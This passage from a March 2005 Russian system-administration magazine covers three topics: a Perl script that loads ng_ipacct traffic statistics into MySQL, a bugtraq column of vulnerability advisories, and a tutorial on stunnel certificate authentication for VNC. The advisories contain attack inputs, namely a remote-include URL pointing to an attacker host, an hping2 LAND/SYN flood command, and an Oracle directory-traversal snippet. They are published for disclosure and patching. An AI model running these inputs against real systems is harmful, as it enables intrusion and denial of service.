После того, как временный файл считан до конца, мы его очищаем (можно в принципе и удалить, хотя это неэффективно). truncate(“$TMPLOG”,0);

так поочередно мы заполним данными со всех интерфейсов массив @ipacct_arr. Его, кстати, необходимо внести в список основных переменных, которые были объявлены в начале скрипта. my @ipacct_arr; my @ipacct_arr_in;

Я указал кроме него еще один массив – он сейчас тоже потребуется. open (IPCTLOG,">>$ipacct_log"); while (@ipacct_arr){ $line_arr = shift @ipacct_arr; $line_arr = "$line_arr\n"; print IPCTLOG $line_arr; } close(IPCTLOG);

Этим действием все содержимое массива, полученного на предыдущем шаге, заносится в основной файл статистики. Теперь в случае любых перипетий (недоступность сервера, отсутствие созданной базы или неправильный логин/пароль) вся статистика будет накапливаться в нем. Именно поэтому и было указано то, что в случае пополнения записей они должны дописываться в конец файла. open (IPCTLOG,">>$ipacct_log");

Статистика получена. Теперь наступил самый ответственный этап. Необходимо привести к нужному виду каждую строку в файле статистики. Проверить доступность сервера и необходимой базы и таблицы. Если все в полном порядке, то внести данные. Вот как полностью будет выглядеть этот блок: while (@listen_interf){ $interface = shift @listen_interf; my $pid; $pid = fork; if (defined $pid) { if ($pid == 0){ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint exec "/usr/local/sbin/ipacctctl ↵ $interface\_ip_acct:$interface checkpoint" or die ↵ "Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n"; exit; } }

54

else {

↵ print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ \n.................\n"; ↵ die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; } do { $kid = waitpid $pid,0; if ($kid == -1) { print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵ and die "Âûõîä!\n"; } elsif ($kid == 0) { print "Çàäàí íå áëîêèðóþùèé ↵ âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; } } until $kid=$pid; undef $pid; $pid = fork; if (defined $pid) { if ($pid == 0){ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME exec "/usr/local/sbin/ipacctctl ↵ $interface\_ip_acct:$interface show >> ↵ $ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵ çàïèñåé èç checkpoint-áàçû â ôàéë!\n"; exit; } } else { ↵ print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ \n.................\n"; ↵ die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; } do { $kid = waitpid $pid,0; if ($kid == -1) { print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵ and die "Âûõîä!\n"; } elsif ($kid == 0) { print "Çàäàí íå áëîêèðóþùèé ↵ âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; } } until $kid=$pid; undef $pid; $pid = fork; if (defined $pid) { if ($pid == 0){ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear exec "/usr/local/sbin/ipacctctl ↵ $interface\_ip_acct:$interface clear" or die ↵ "Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵ Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó âðó÷íóþ\n"; exit; } } else { ↵ print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ \n.................\n"; ↵ die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; } do { $kid = waitpid $pid,0; if ($kid == -1) { print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵ and die "Âûõîä!\n"; } elsif ($kid == 0) { print "Çàäàí íå áëîêèðóþùèé ↵ âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; } } until $kid=$pid; undef $pid; $TMPLOG= "$ipacct_log\.$interface"; open (TMPLOG, "$TMPLOG"); $TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵ ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó. while (<TMPLOG>){ $tmp_log_line=$_;


администрирование chomp $tmp_log_line; $tmp_log_line = "$tmp_log_line $date ↵ $time $listen_host $interface"; push @ipacct_arr,$tmp_log_line;

} close (TMPLOG); truncate ($TMPLOG,0);

}

undef $pid;

open (IPCTLOG,">>$ipacct_log"); while (@ipacct_arr){ $line_arr = shift @ipacct_arr; $line_arr = "$line_arr\n"; print IPCTLOG $line_arr; } close(IPCTLOG);

}

&parse_log_file; &check_in_mysql; &insert_data_db;

Как видно из кода, присутствует вызов трех подпрограмм. Выполняемые ими функции интуитивно понятны из названия (&parse_log_file; &check_in_mysql; &insert_data_db;). Рассмотрим их поочередно. sub parse_log_file { open (PARSFILE, "$ipacct_log"); while ($line_parse=<PARSFILE>) { chomp $line_parse; $line_parse =~ s/[\s\t]+/\t/g; push @ipacct_arr_in, $line_parse; } close (PARSFILE); truncate ("$ipacct_log",0); }

Все, что мы делаем здесь, – производим разбор строки основного файла. И все имеющиеся символы пробела или табуляции заменяем на единичные символы табуляции. И вносим данные в объявленный выше массив @ipacct_arr_in. После того как все данные из файла были внесены в массив, этот файл обнуляется для записи последующей порции данных. Что ж, проверим доступность mysql и наличия таблиц: my ($dbh,$sth,$count); $dbh = DBI->connect("DBI:mysql:host= ↵ $serverdb;database=$dbname", "$dbuser", "$dbpass") or &error_connection; $sth = $dbh->prepare("SHOW tables"); $sth->execute ();

Первой строкой мы объявили переменные, которые будут использоваться для соединения. Второй устанавливаем соединение с MySQL. В ней указываем, что необходимо использовать драйвер mysql DBI, также расположение сервера, БД, имя и пароль, которые получили из файла настройки. В случае, если произойдут ошибки, будет выполнена подпрограмма &error_connection. Ее опишем несколько позже, а пока условимся, что соединение прошло успешно. Следующим пунктом будет запрос. В данном случае проверяется наличие необходимых таблиц в базе (SHOW TABLES), а последняя строка означает выполнение запроса. Теперь полученный результат занесем в массив: my @row;

№3, март 2005

my $tables; while (@row = $sth->fetchrow_array) { foreach $tables (@row){ push @dbtables, $tables; } }

Самое интересное во всем этом – оператор foreach, который присваивает переменной $table значения массива @row. Значения этой переменной заносятся в @tables. $crt_tbl="yes"; while (@dbtables) { $table = shift @dbtables; if (defined $table) { if ($table eq $table_date) { $crt_tbl="no"; } } }

В данном блоке устанавливается значение переменной $crt_tbl в yes, чтобы в случае необходимости создать таблицу, определенную в переменной $table_date. Последующие действия как раз и описывают этап сравнения элементов массива с переменной. Если таблица с таким именем присутствует, то $crt_tbl принимает значение no. if ($crt_tbl eq "yes") { # print "Ñîçäàåì òàáëèöó\n"; &crt_table_log; } $sth->finish; $dbh->disconnect;

Если такой таблицы нет, она будет создана при вызове подпрограммы &crt_table_log. В этом модуле встречаются две новые подпрограммы. Опишем первую, так как она используется еще в нескольких местах. Итак, в случае ошибки соединения необходимо срочно остановить выполнение скрипта и сбросить данные обратно в файл. sub error_connection { print "Ïðîâåðüòå ïðàâèëüíîñòü èìåíè è ïàðîëÿ íà áàçó ↵ â MySQL, åå ñóùåñòâîâàíèå\n"; print "Âîçìîæíîé ïðè÷èíîé îøèáêè òàêæå ìîæåò ÿâëÿòüñÿ òî, ↵ ÷òî ñåðâåð âðåìåííî íåäîñòóïåí\n"; print "Áóäåò ïðîèçâåäåíî êîïèðîâàíèå âñåõ äàííûõ ↵ â ôàéë:\n\n$ipacct_log \n\n"; print "Íàêîïëåíèå ñòàòèñòèêè â ôàéë íå ëèìèòèðîâàíî, ↵ íî ýòî ìîæåò ïîâëå÷ü çà ñîáîé"; print " âñïëåñê íàãðóçêè íà ñåòü è ñåðâåðà. Ïîýòîìó ↵ îáðàòèòå âíèìàíèå íà äàííîå"; print " ñîîáùåíèå è âûÿñíèòå êîíêðåòíóþ ïðè÷èíó.\n"; foreach $line_arr(@ipacct_arr_in) { open (DUMPFILE, ">>$ipacct_log"); $line_arr = "$line_arr\n"; print DUMPFILE $line_arr; close (DUMPFILE); } die "Âûõîä.\n"; }

Вторая создает таблицу, в которую будет производиться запись данных. sub crt_table_log { my ($dbh,$sth,$count); $dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵ database=$dbname", "$dbuser", "$dbpass") or &error_connection; $select = "CREATE TABLE $table_date (ip_from ↵ varchar(255),s_port varchar(128),ip_to varchar(255), ↵

55


администрирование d_port varchar(128), proto varchar(32), packets int(8), ↵ bytes int(16) default 0,date_ins varchar(32), ↵ time_ins time, host varchar(128), interface varchar(8), ↵ index (ip_from),index (ip_to),index (proto), ↵ index (packets), index (bytes),index (host), ↵ index (time_ins), index (date_ins), index (interface))"; $sth = $dbh->prepare("$select"); $sth->execute (); $sth->finish; $dbh->disconnect; }

Ну и наконец последнее – заносим данные в базу: sub insert_data_db { my ($dbh,$sth,$count); $dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵ database=$dbname","$dbuser","$dbpass") or &error_connection_in; $insert = "INSERT INTO $table_date (ip_from,s_port, ↵ ip_to,d_port,proto,packets,bytes,date_ins, ↵ time_ins,host,interface) VALUES (?,?,?,?,?,?,?,?,?,?,?)"; $sth = $dbh->prepare("$insert"); print "$insert\n"; while (@ipacct_arr_in) { $line_in = shift @ipacct_arr_in; ($ip_from, ↵ $s_port,$ip_to,$d_port,$proto,$packets, ↵ $bytes,$date_ins,$time_ins,$host,$interface)= ↵ split(/[\s\t]+/,$line_in); if (!defined $proto){ $proto="0"; } if (!defined $packets){ $packets="0"; } if (!defined $bytes){ $bytes="0"; } $sth->execute ($ip_from,$s_port,$ip_to,$d_port,$proto, ↵ $packets,$bytes,$date_ins,$time_ins, ↵ $host,$interface); } $sth->finish; $dbh->disconnect; }

Как видите, снова идет пошаговое считывание данных из массива. Полученные строки разбиваются на составляющие при помощи split. Если значения в этих переменных отсутствуют, им присваивается значение, равное нулю. Вот в принципе все. Мы занесли данные в таблицу. Теперь можно извлекать нужные данные соответствующими запросами на выборку. Полностью содержимое можно посмотреть в ng_stat_in.pl. Последние штрихи – помещение созданного сценария в /usr/local/etc/rc.d и добавление подобной записи в /etc/crontab. */15 root

↵ * * * * /usr/local/script/ng_stat/bin/ng_stat_in.pl

Наша система готова к сбору статистики. Конечно, она не лишена ряда недостатков. Таковыми можно считать то, что система работает именно от пользователя root, и не имеет возможности на лету менять конфигурацию. Самое главное ее преимущество – простота. Она предоставляет самое удобное хранилище данных, откуда их можно вытянуть и при помощи web, и с консоли, и даже с машины под управлением Windows. Итак, были выполнены практически все требования к биллингу. Мы остановимся пока на этом, ибо немаленький объем вышел для трех простеньких скриптов. Если у читателей появится желание, приведу дополнительный набор скриптов и их описание, систему авторизации через веб-

56

интерфейс и, если необходимо, графические клиенты под X-Window и MS Windows. В принципе вы и сами можете написать самые простые запросы уже сейчас. Приведу еще раз заголовки таблицы: mysql> show columns from 2004_10; Field Type ip_from varchar(255) s_port varchar(128) ip_to varchar(255) d_port varchar(128) proto varchar(32) packets int(8) bytes int(16) date_ins varchar(32) time_ins time host varchar(128) interface varchar(8) 11 rows in set (0.02 sec)

Null YES YES YES YES YES YES YES YES YES YES YES

Key MUL MUL MUL MUL MUL MUL MUL MUL MUL

Def NULL NULL NULL NULL NULL NULL 0 NULL NULL NULL NULL

Ext

И простенький запрос к базе на выборку за 10 месяц 2004 года суммы прошедшего трафика через интерфейс rl0 сервера freebsd2: mysql> select sum(bytes) from 2004_10 where host='freebsd2' and interface='rl0'; sum(bytes) 993453162 1 row in set (0.12 sec)

Все остальные скрипты, вне зависимости от своего назначения, являются вариациями на тему запроса.

Подведем итоги Разобранные выше примеры написания системы учета трафика – не полноценный биллинг, так как для такой системы нужно хорошо просчитать структуру самой БД, ее нагрузку, выбрать оптимальные типы полей в таблицах. Для примера, в более серьезном и нагруженном варианте (сервер провайдера и порядка 20 хостов) необходимо изменить типы полей s_port, d_port, ip_from, ip_to на тип int (преобразование IP-адреса выполняется встроенными функциями MySQL), одним словом, уделить очень большое внимание настройке оптимальной производительности самой СУБД – здесь она станет узким местом, и, возможно, перейти на альтернативную СУБД. Но подводя итоги этой статьи, можно с уверенностью сказать самое главное: ng_ipacct является очень удобным программным пакетом для сбора полной и детализированной статистики. Причем он не требует каких-то особых заоблачных знаний и предоставляет удобную в отображении информацию. Он может заменить вам систему учета трафика, даже если вы будете каждый день мигрировать с одного типа брандмауэра на другой. При этом особо не нагрузит ваш сервер. Также можно добавить, что сам процесс сбора статистики и запись полученных данных средствами perl не представляет особой сложности – весь необходимый набор инструментов встроен в perl либо присутствует в виде портов и пакетов. Большую часть подпрограмм (например, чтение конфигурационного файла) можно вынести в отдельный модуль/ пакет. Также вполне возможно, что вы несколько перепишете код под себя – тут уж никто никого не сдерживает. Цель есть, а как к ней добраться – каждый выбирает сам.


bugtraq Удаленный административный доступ в Phpbb-форуме Программа: Phpbb 2.0.12. Опасность: Критическая. Описание: Уязвимость в Phpbb позволяет удаленному пользователю обойти некоторые ограничения безопасности и получить административные привилегии на форуме. Уязвимость связана с ошибкой в сравнении «sessiondata['autologinid']» и «auto_login_key». В результате возможно получить административные привилегии на форуме. Логическая уязвимость обнаружена в сценарии includes/ sessions.php в следующей строке: if( $sessiondata['autologinid'] == $auto_login_key )

Условие выполняется, если длина $sessiondata['autologinid'], представленная в куке пользователя, равна длине переменной $auto_login_key. Для исправления уязвимости ее необходимо заменить на строку: if( $sessiondata['autologinid'] === $auto_login_key )

Также сообщается об ошибке в «viewtopic.php», которая позволит раскрыть инсталляционный путь. URL производителя: http://www.phpbb.com. Решение: Обновите форум до 2.0.13.

PHP-инклудинг в phpWebLog Программа: phpWebLog 0.5.3 и более ранние версии Опасность: Высокая. Описание: Уязвимость существует в сценариях include/ init.inc.php и backend/addons/links/index.php из-за некорректной обработки входных данных в переменных G_PATH и PATH. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный phpсценарий на уязвимой системе. Пример: http://[target]/[dir]/include/init.inc.php? ↵ G_PATH=http://[attacker]/ http://[target]/[dir]/backend/addons/links/inde x.php? ↵ PATH=http://[attacker]/

URL производителя: http://phpweblog.org. Решение: Способов устранения уязвимости не существует в настоящее время.

LAND-атака в Microsoft Windows Программа: Microsoft Windows XP, Microsoft Windows 2003. Опасность: Высокая. Описание: Уязвимость существует при обработке SYN-пакетов. Удаленный пользователь может послать большое количество SYN-пакетов на открытый порт системы и вызвать 100% загрузку процессора. Пример: hping2 192.168.0.1 -s 135 -p 135 -S -a 192.168.0.1

URL производителя: http://www.microsoft.com. Решение: Способов устранения уязвимости не существует в настоящее время. В качестве временного решения рекомендуется использовать межсетевой экран.

№3, март 2005

Множественные уязвимости в MySQL Программа: MySQL версии до 4.0.24 и 4.1.10a. Опасность: Низкая. Описание: Обнаруженные уязвимости позволяют локальному пользователю получить поднятые привилегии в базе данных, удаленному авторизованному пользователю выполнить произвольный код на системе с привилегиями mysqldпроцесса. 1. Уязвимость существует при использовании временных файлов в функции CREATE TEMPORARY TABLE. Локальный пользователь может создать символическую ссылку с другого файла базы данных на временный файл. Подключиться к MySQL с помощью клиента и создать временную таблицу, которая будет использовать символическую ссылку вместо обычного временного файла. Таким образом, локальный пользователь может повысить свои привилегии в пределах базы данных. 2. Уязвимость существует в функции udf_init() файла sql_udf.cc из-за некорректной обработки имен директорий. Авторизованный пользователь с привилегиями INSERT и DELETE в административной базе данных mysql может вставить специально сформированное значение в поле dl таблицы mysql.func и указать расположение специально сформированной библиотеки, которая затем будет выполнена базой данных. 3. Уязвимость существует при использовании команды CREATE FUNCTION. Авторизованный пользователь с привилегиями INSERT и DELETE в административной базе данных mysql может использовать команду CREATE FUNCTION в некоторых libc-функциях (strcat, on_exit, exit и т. д.), чтобы выполнить произвольный код на системе с привилегиями mysqld-процесса. Пример/Эксплоит: http://www.securitylab.ru/53240.html. URL производителя: http://www.mysql.com. Решение: Установите обновления от производителя.

Раскрытие информации в Oracle Database Server Программа: Oracle Database Server 8i, 9i. Опасность: Низкая. Описание: Уязвимость существует в пакете UTL_FILE из-за некорректной обработки входных данных в некоторых функциях. Удаленный авторизованный пользователь может изменить значение некоторых объектов функции MEDIA_DIR на символы обхода каталога и получить доступ на чтение и запись к произвольным файлам на системе. Пример: declare f utl_file.file_type; begin f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000); UTL_FILE.PUT_LINE (f,'Sure',TRUE); UTL_FILE.FCLOSE(f); end;

URL производителя: http://www.oracle.com. Решение: Установите исправление от производителя.

Составил Александр Антипов

57


безопасность

ЗАЩИТА СЕТЕВЫХ СЕРВИСОВ С ПОМОЩЬЮ stunnel ЧАСТЬ 3

АНДРЕЙ БЕШКОВ Сегодня мы займемся изучением тонкостей работы механизма аутентификации stunnel с помощью SSL-сертификатов. Плюс заодно разберемся, для чего может пригодиться Windows-версия этой программы. Представим, что у нас есть сервер, на котором работает Windows 2000 Advanced Server. Хотелось бы уметь удаленно управлять сервером с двух UNIX-машин. В качестве таковых выступают рабочая станция на основе FreeBSD 5.3 и ноутбук c ALT Linux Master 2.4. Соответственно, машины имеют имена win2000.unreal.net, altlinux.unreal.net, freebsd53. unreal.net и адреса 10.10.21.46, 10.10.21.29, 10.10.21.30. Для решения поставленной задачи можно использовать несколько программ. К примеру, Citrix ICA Client, Radmin, Rdesktop, VNC. Устанавливать и настраивать на сервере Citrix или Terminal Server ради одного человека смысла нет. Radmin для UNIX в природе не существует, значит, опять

58

пришлось бы возиться с каким-либо эмулятором. Решив не плодить сущностей без надобности, я воспользовался последним вариантом в виде VNC, так как бесплатен и существует для всех указанных платформ. Реализаций протокола VNC на свете довольно много. Наиболее известны из них RealVNC, TightVNC, t-VNC и еще несколько клонов. Некоторые, как TightVNC и t-VNC, направлены на минимизацию сетевого трафика, другие же, такие как RealVNC, – на использование шифрования. К сожалению, под Windows RealVNC не бесплатна, поэтому пришлось использовать стандартную свободную реализацию TightVNC без шифрования. Для защиты передаваемых данных, как вы уже, наверно, догадались, будет использоваться stunnel. Займемся установкой нужных пакетов на Windows-сервер. Скачиваем с сайта TightVNC: http://tightvnc.com свежий релиз программы. На момент написания статьи была акту-


безопасность альна версия 1.2.9. Инсталляция достаточно тривиальна: большую часть времени можно просто нажимать кнопку «Далее». Затем нужно убедиться, что был выбран следующий набор компонентов.

Разрешаем стартовать серверу VNC автоматически как системному сервису. После этого получаем предупреждение об отсутствии пароля и на следующем экране вводим его.

По умолчанию VNC ждет соединений на порту 5800 для стандартных клиентов и 5900 для тех, кто использует в качестве клиента браузер. Нажав кнопку «Advanced», получаем следующий диалог, с помощью которого разрешаем входящие соединения только с интерфейса локальной петли. 1

Таким образом, получается, что на внешнем интерфейсе входящие соединения на порты 5800 и 5900 будет получать stunnel и после расшифровки передавать их на соответствующий порт локальной петли. Теперь уже можно проверить работу VNC c помощью клиента, установленного на локальной машине. Не забываем, что присоединяться надо по адресу 127.0.0.1. Если все работает, переходим к установке stunnel. Сделать это можно двумя путями: либо компилировать пакет из исходных текстов, либо взять уже готовый по адресу: htpp://stunnel.org/ download/binaries.html. Там же не забываем взять реализацию OpenSSL для Windows. Полный пакет OpenSSL нам не нужен, необходимы лишь библиотеки libeay32.dll и libssl32.dll, скачать их можно на той же странице. Нормальным инсталлятором stunnel так до сих пор и не обзавелся, поэтому приходится делать все вручную. Кладем stunnel-4.05.exe в C:\Stunnel и добавляем туда же весь OpenSSL или скачанные dll. Затем создаем директорию C:\Stunnel\certs. На этом процедуру установки для Windows можно считать законченной. Осталось лишь настроить stunnel, но об этом позже. Установку stunnel и OpenSSL для FreeBSD и Linux мы обсуждали в предыдущих частях этой статьи1, поэтому останавливаться на данном вопросе не будем. Теперь нужно поставить VNC. Для FreeBSD устанавливаем tightVNC стандартным способом из портов. К сожалению, в репозитарии пакетов ALT Linux пакет tightVNC отсутствует, поэтому ставим стандартный VNC, они все равно совместимы между собой. Пришло время создать SSL-сертификаты, с помощью которых мы будем проводить взаимную аутентификацию клиентов и сервера. Это можно сделать на любой из используемых нами платформ. Но все же стоит отметить, что под Windows выполнять подобные действия неудобно изза бедности функционала, портированного OpenSSL. Для остальных обсуждаемых в этой статье систем процедура практически одинакова, все отличия обычно состоят в именах директорий, используемых во время работы. FreeBSD хранит исполняемый файл openssl в /usr/local/bin/ openssl, а ALT Linux – в /usr/bin/openssl. Плюс к этому вспомогательный скрипт CA.pl, представляющий для нас особую важность, в первом случае лежит в директории /usr/ local/openssl/misc, а во втором – внутри /var/lib/ssl/misc. Впрочем, не стоит переживать: я обязательно подробно опишу

1. Бешков А. Защита сетевых сервисов с помощью stunnel. – журнал «Системный администратор», №12, декабрь 2004 г. 2. Бешков А. Защита сетевых сервисов с помощью stunnel. Часть 2. – журнал «Системный администратор», №1, январь 2005 г.

№3, март 2005

59


безопасность всю процедуру генерации сертификатов для обеих систем. Авторизацию с помощью сертификатов можно настроить разными путями даже внутри одной и той же системы. Итак, подход первый: создать три независимых самодельных сертификата, по одному для всех участников шифрованного туннеля. Такой способ подкупает простотой реализации, но в качестве минусов получаем невозможность, проверить подлинность сертификата через корневой сервер сертификации. Впрочем, в нашем случае это не играет особой роли. Для начала исправляем файл openssl.cnf, дабы не набирать нижеприведенные данные каждый раз заново при создании сертификата. countryName_default stateOrProvinceName_default localityName 0.organizationName_default emailAddress

= = = = =

RU Rostov region Rostov-on-Don Tigrisha Home tigrisha@unreal.net

Во FreeBSD openssl.cnf находится в /usr/local/openssl/, а под ALT Linux соответственно в /var/lib/ssl/. Начнем с FreeBSD. Переходим в любую удобную директорию и выполняем команды: # openssl –x509 # openssl –x509 # openssl –x509

req –nodes –new –days 365 –newkey rsa:1024 ↵ –keyout win2000key.pem –out win2000cert.pem req –nodes –new –days 365 –newkey rsa:1024 ↵ –keyout altlinuxkey.pem –out altlinuxcert.pem req –nodes –new –days 365 –newkey rsa:1024 ↵ –keyout freebsdkey.pem –out freebsdcert.pem

Большинство полей в сертификате совпадают с нашими значениями по умолчанию, во время генерации сертификатов нам просто нужно нажимать «Enter». Единственное, что нужно менять, – это поле CN (Common name). Заполнять его нужно в соответствии с полным доменным именем компьютера, для которого предназначается сертификат. Таким образом, мы создали пару сертификат-ключ для всех наших машин. Теперь ключ лежит в файле с суффиксом key, а сертификат соответственно в файле с суффиксом cert. В ALT Linux все вышеприведенные команды будут иметь тот же эффект. Хотя для этой системы есть и другой способ. Чтобы изучить его, переходим в /var/lib/ssl/certs/ и выполняем команды: # make win2000.pem # make altlinux.pem # make freebsd.pem

Это способ не столь удобен, как предыдущий, и требует больше ручного труда. Дело в том, что теперь ключ и сертификат каждой машины лежат вместе в одном файле. Следовательно, придется вручную разносить их по отдельным файлам. Для того чтобы системы, соединенные с помощью stunnel, могли провести аутентификацию, они должны доверять публичным сертификатам друг друга. Соответственно клиенты должны доверять сертификату сервера и наоборот. Давайте изготовим файл с доверенными сертификатами для машины win2000. Для этого объединяем сертификаты altlinuxcert.pem и freebsdcert.pem в файл trusted.pem. # cat altlinuxcert.pem freebsdcert.pem > trusted.pem

60

Переносим файлы win2000key.pem, win2000cert.pem и trusted.pem на Windows-машину и кладем в директорию C:\Stunnel\certs\. Таким же образом на FreeBSD копируем файлы freebsdkey.pem и freebsdcert.pem, а на Linux, соответственно, altlinuxkey.pem altlinuxcert.pem. Для клиентов в качестве файла с сертификатом доверия выступает win2000cert.pem, поэтому обязательно отправляем его на обе машины и для единообразия переименовываем в trusted.pem. Также не забываем на клиентских машинах положить файлы ключа и сертификатов в /usr/local/etc/stunnel/certs/. Стоит обратить внимание на то, что vnc может работать либо самостоятельно, либо как подключаемый модуль веббраузера. В первом случае нужно проводить аутентификацию и шифровать трафик, а во втором случае будет доступно только шифрование, потому что непонятно, как клиентский браузер сможет предъявить свой сертификат серверу. Отсюда делаем вывод, что на машине с Windows должно работать два независимых демона stunnel. Один с авторизацией, другой – без. Теперь пришло время создать конфигурационные файлы. Для Windows содержимое vnc_server.cnf выглядит так: cert = C:\stunnel\certs\win2000cert.pem key = C:\stunnel\certs\win2000key.pem CAFile = C:\stunnel\certs\trusted.pem CRLfile = C:\stunnel\certs\crl.pem debug = 7 output = C:\stunnel\stunnel.log verify = 3 [vnc] accept = 10.10.21.46:5800 connect = 127.0.0.1:5800

Конфигурация второго экземпляра stunnel, хранящаяся в vnc_server1.cnf, соответственно такова: [vnc-https] cert = C:\stunnel\certs\win2000cert.pem key = C:\stunnel\certs\win2000key.pem debug = 7 output = C:\stunnel\stunnel.log accept = 10.10.21.46:5900 connect = 127.0.0.1:5900

Теперь посмотрим, на что похожа конфигурация для FreeBSD. cert = /usr/local/etc/stunnel/certs/freebsdcert.pem key = /usr/local/etc/stunnel/certs/freebsdkey.pem CAFile = /usr/local/etc/stunnel/certs/trusted.pem CRLfile = /usr/local/etc/stunnel/certs/crl.pem chroot = /var/tmp/stunnel/ pid = /stunnel.pid setuid = stunnel setgid = stunnel debug = 7 output = /var/log/stunnel.log client = yes verify = 3


безопасность [vnc] accept = 127.0.0.1:5800 connect = 10.10.21.46:5800

Конфигурационный файл для ALT Linux выглядит так: cert = /usr/local/etc/stunnel/certs/altlinuxcert.pem key = /usr/local/etc/stunnel/certs/altlinuxkey.pem CAFile = /usr/local/etc/stunnel/certs/trusted.pem CRLfile = /usr/local/etc/stunnel/certs/crl.pem chroot = /var/tmp/stunnel/ pid = /stunnel.pid setuid = stunnel setgid = stunnel debug = 7 output = /var/log/stunnel.log client = yes verify = 3 [vnc] accept = 127.0.0.1:5800 connect = 10.10.21.46:5800

На этом можно остановиться. Перед запуском стоит обсудить особенности конфигурационных файлов, с которыми мы еще не сталкивались. CAFile – указывает, в каком файле хранятся доверенные сертификаты. CRLfile – описывает имя файла, где должны находиться отозванные сертификаты. Такая возможность полезна, к примеру, если сертификат клиента каким-либо образом попал к злоумышленнику, и теперь нам нужно заблокировать его. И, наконец, самая важная опция – verify. Она определяет, каким образом при начале соединения будут проверяться сертификаты клиента и сервера. Значением переменной должно быть число от 0 до 3. Давайте посмотрим, что значит каждое из них. ! 0 – наличие и подлинность сертификатов не проверяется. Это значение по умолчанию, оно также эквивалентно слову «no». ! 1 – подлинность сертификата проверяется только при наличии такового. В случае если сертификат не проходит проверку, то соединение будет разорвано. В то же время при отсутствии сертификата соединение будет разрешено. ! 2 – проверяется наличие и подлинность сертификата. Если сертификат отсутствует или в результате проверки считается фальшивым, соединение разрывается. ! 3 – для создания соединения требуется обязательное наличие сертификата и его присутствие в списке доверенных. Итак, разобравшись с опциями, запускаем stunnel на всех машинах и смотрим, что появляется в файлах stunnel.log под Windows. 2005.02.28 19:10:33 LOG5[776:724]: stunnel 4.05 on x86-pc-mingw32-gnu WIN32 with OpenSSL 0.9.7e 25 Oct 2004 2005.02.28 19:10:33 LOG7[776:1108]: RAND_status claims sufficient entropy for the PRNG 2005.02.28 19:10:33 LOG6[776:1108]: PRNG seeded successfully 2005.02.28 19:10:33 LOG7[776:1108]: Certificate: C:\stunnel\certs\win2000cert.pem 2005.02.28 19:10:33 LOG7[776:1108]: Key file: C:\stunnel\certs\win2000key.pem 2005.02.28 19:10:33 LOG7[776:1108]: Loaded verify certificates from

№3, март 2005

C:\stunnel\certs\trusted.pem 2005.02.28 19:10:33 LOG5[776:1108]: WIN32 platform: 30000 clients allowed 2005.02.28 19:10:33 LOG7[776:1108]: FD 156 in non-blocking mode 2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on accept socket 2005.02.28 19:10:33 LOG7[776:1108]: vnc bound to 10.10.21.46:5800 2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900 2005.02.28 19:10:33 LOG7[776:1108]: FD 189 in non-blocking mode 2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on accept socket 2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900

Ну а для Linux записи в файле протокола должны выглядеть примерно так: 2005.02.28 10:26:08 LOG5[10323:16384]: stunnel 4.05 on i686-pc-linux-gnu PTHREAD with OpenSSL 0.9.7d 17 Mar 2004 2005.02.28 10:26:08 LOG7[10323:16384]: Snagged 64 random bytes from /root/.rnd 2005.02.28 10:26:08 LOG7[10323:16384]: Wrote 1024 new random bytes to /root/.rnd 2005.02.28 10:26:08 LOG7[10323:16384]: RAND_status claims sufficient entropy for the PRNG 2005.02.28 10:26:08 LOG6[10323:16384]: PRNG seeded successfully 2005.02.28 10:26:08 LOG7[10323:16384]: Certificate: /usr/local/etc/stunnel/certs/altlinuxcert.pem 2005.02.28 10:26:08 LOG7[10323:16384]: Key file: /usr/local/etc/stunnel/certs/altlinuxkey.pem 2005.02.28 10:26:08 LOG7[10323:16384]: Loaded verify certificates from /usr/local/etc/stunnel/certs/trusted.pem 2005.02.28 10:26:08 LOG5[10323:16384]: FD_SETSIZE=1024, file ulimit=1024 -> 500 clients allowed 2005.02.28 10:26:08 LOG7[10323:16384]: FD 6 in non-blocking mode 2005.02.28 10:26:08 LOG7[10323:16384]: SO_REUSEADDR option set on accept socket 2005.02.28 10:26:08 LOG7[10323:16384]: vnc bound to 10.10.21.75:3307

